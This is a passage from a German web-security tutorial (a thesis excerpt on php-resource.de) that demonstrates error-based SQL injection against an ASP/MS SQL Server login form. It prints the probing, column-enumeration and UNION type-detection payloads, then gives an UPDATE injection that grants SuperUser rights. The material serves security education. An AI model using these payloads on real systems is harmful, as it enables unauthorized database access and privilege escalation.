Warning: file_put_contents(/home/www/web1/html/php_dev/test.txt) [function.file-put-contents]: failed to open stream: Permission denied in /home/www/web1/html/php_dev/sys/lib.activity.php on line 58
Webserver, Sicherheit ist realisierbar PHP Tutorials nicht nur für Anfänger php-resource.de

php-resource.de

PHP/ PHP INSTALLATION (WAMP und LAMP) Tutorial: Webserver, Sicherheit ist realisierbar

Diese Facharbeit beschäftigt sich mit dem Herzstück eines Netzwerkes, dem Webserver.

|23.06.2006 | me1@ | 8753 | KAT : PHP/ PHP INSTALLATION (WAMP und LAMP) | | Kommentare 0


9

10

4.2. Beispiel 2 - Zugang für jedermann

Wie im Kapitel 3.1.5 beschrieben, sind besonders ASP Seiten zusammen mit dem MS SQL Server durch SQL Injektionen gefährdet. Ein besonders sensibler Punkt sind passwortgeschützte Bereiche.

Ein einfacher Anführungsstrich in einem durch Zufall gefundenen Formular brachte folgende Fehlermeldung:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '''.
/admin/Login.asp, line 166

Diese Meldung zeigt an, dass die Möglichkeit von SQL Injektionen besteht. Für einen erfolgreichen Einbruch muss man zuerst die Struktur der Abfrage kennen. Hierzu kann man entsprechende Fehlermeldungen des SQL Servers wie folgt provozieren:

Die Eingabe von ' having 1=1 -- führte zu folgender Fehlermeldung:

Column 'User_Information.User_InformationID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Es wurde die Tabelle "User_Information" benutzt, um den Login zu verifizieren. Die erste Spalte dieser Tabelle hieß "User_InformationID".

Die Eingabe von ' group by User_Information.User_InformationID having 1=1 --

ergab:

Column 'User_Information.User_ID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Die zweite Spalte hieß demnach "User_ID".

Die Eingabe von ' group by User_Information.User_InformationID, User_Information.User_ID having 1=1 --

ergab die nächste Spalte usw.

Dieses wurde mehrfach ausgeführt, bis die Meldung "Cannot group by a bit column." erschien.

Wichtig ist zusätzlich der Typ einer jeden Spalte. Hierzu kann man die Funktion "sum" (Summieren) missbrauchen. Der SQL Server prüft zuerst, ob die entsprechende Felder überhaupt summierbar sind. Nur wenn dieses möglich ist, erhält man eine Fehlermeldung, wonach die Anzahl der Felder nicht stimmt.

' union select sum(User_InformationID) from User_Information --

führte zu

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

"User_InformationID" muss somit ein numerischer Datentypen sein.

' union select sum(FullName) from User_Information --

führte zu

The sum or average aggregate operation cannot take a nvarchar data type as an argument.

"FullName" ist demnach eine Zeichenkette.

Vaorg.dbo.User_Information

User_InformationID

int

User_ID

nvarchar

Password

nvarchar

FullName

nvarchar

Last_Name

nvarchar

First_Name

nvarchar

Company

nvarchar

Address1

nvarchar

Address2

nvarchar

City

nvarchar

State

nvarchar

ZipCode

int

Email

nvarchar

Phone

nvarchar

Fax

nvarchar

SuperUser

bit

LastModified

smalldatetime

ModifierID

nvarchar

Active

bit

msrepl_synctran_ts

timestamp

Mit diesen Angaben hätte ein Angreifer bereits Einträge in die Datenbanktabelle machen können. Um eventuelle Fehleingaben zu umgehen, wurde für dieses Beispiel ein zusätzlicher Weg gewählt. Das System bot jedem Besucher die Möglichkeit an, einen eigenen Account zu erstellen:

Allerdings hatte dieser Account so gut wie keine Rechte, was wünschenswerter Weise geändert werden musste.
Die zuvor herausgefundene Spalte "SuperUser" war besonders auffällig. Da es nur 2 Werte für einen binären Datentyp gibt, nämlich 0 für "falsch" und 1 für "wahr", musste dieses Query funktionieren:

' UPDATE User_Information SET SuperUser='1' WHERE User_ID='j0j02' --

Ein erneutes Einloggen zeigte den erwünschten Erfolg. Einem Benutzer mit SuperUser Rechten standen eine Vielzahl von Optionen offen, um das Erscheinungsbild der gesamten Webseite zu verändern.


normaler User


SuperUser

Unter "Modify User Account" konnte man alle persönlichen Angaben einsehen. Felder, wie "First Name", beeinflussten dabei keine kritische Funktion im System. In diese Felder hätte man alle Rückmeldungen von Datenbankabfragen lenken können.
Die anfängliche Abhängigkeit, über Fehlermeldungen Informationen zu gewinnen, war somit aufgehoben. Ohne "blind" zu arbeiten stand die gesamte Datenbank jetzt unter fremder Kontrolle.

Navigation -> Seitenanzahl : (10)

  «  1 2 3 4 5 6 7 8 9 10  » 
Kommentare zum Tutorial
Tutorial kommentieren
 
Über den Autor
me1@

me1@

Status
Premium Mitglied

Beruf
Unbekannt

Mitglied seit:
30.04.2009

letzte Aktivität
04.06.2009

 

Tutorial bewerten

Hat Ihnen dieses Tutorial gefallen? Dann bewerten Sie es jetzt! Fünf Sterne bedeutet "Sehr gut", ein Stern "Unzureichend".



 

aktuelle Artikel

ebiz-trader 7.5.0 mit PHP7 Unterstützung veröffentlicht

ebiz-trader 7.5.0 mit PHP7 Unterstützung veröffentlichtDie bekannte Marktplatzsoftware ebiz-trader ist in der Version 7.5.0 veröffentlicht worden.

28.05.2018 | Neu | Berni

Wissensbestand in Unternehmen

Wissensbestand in UnternehmenLebenslanges Lernen und Weiterbilden sichert Wissensbestand in Unternehmen

25.05.2018 | Neu | Berni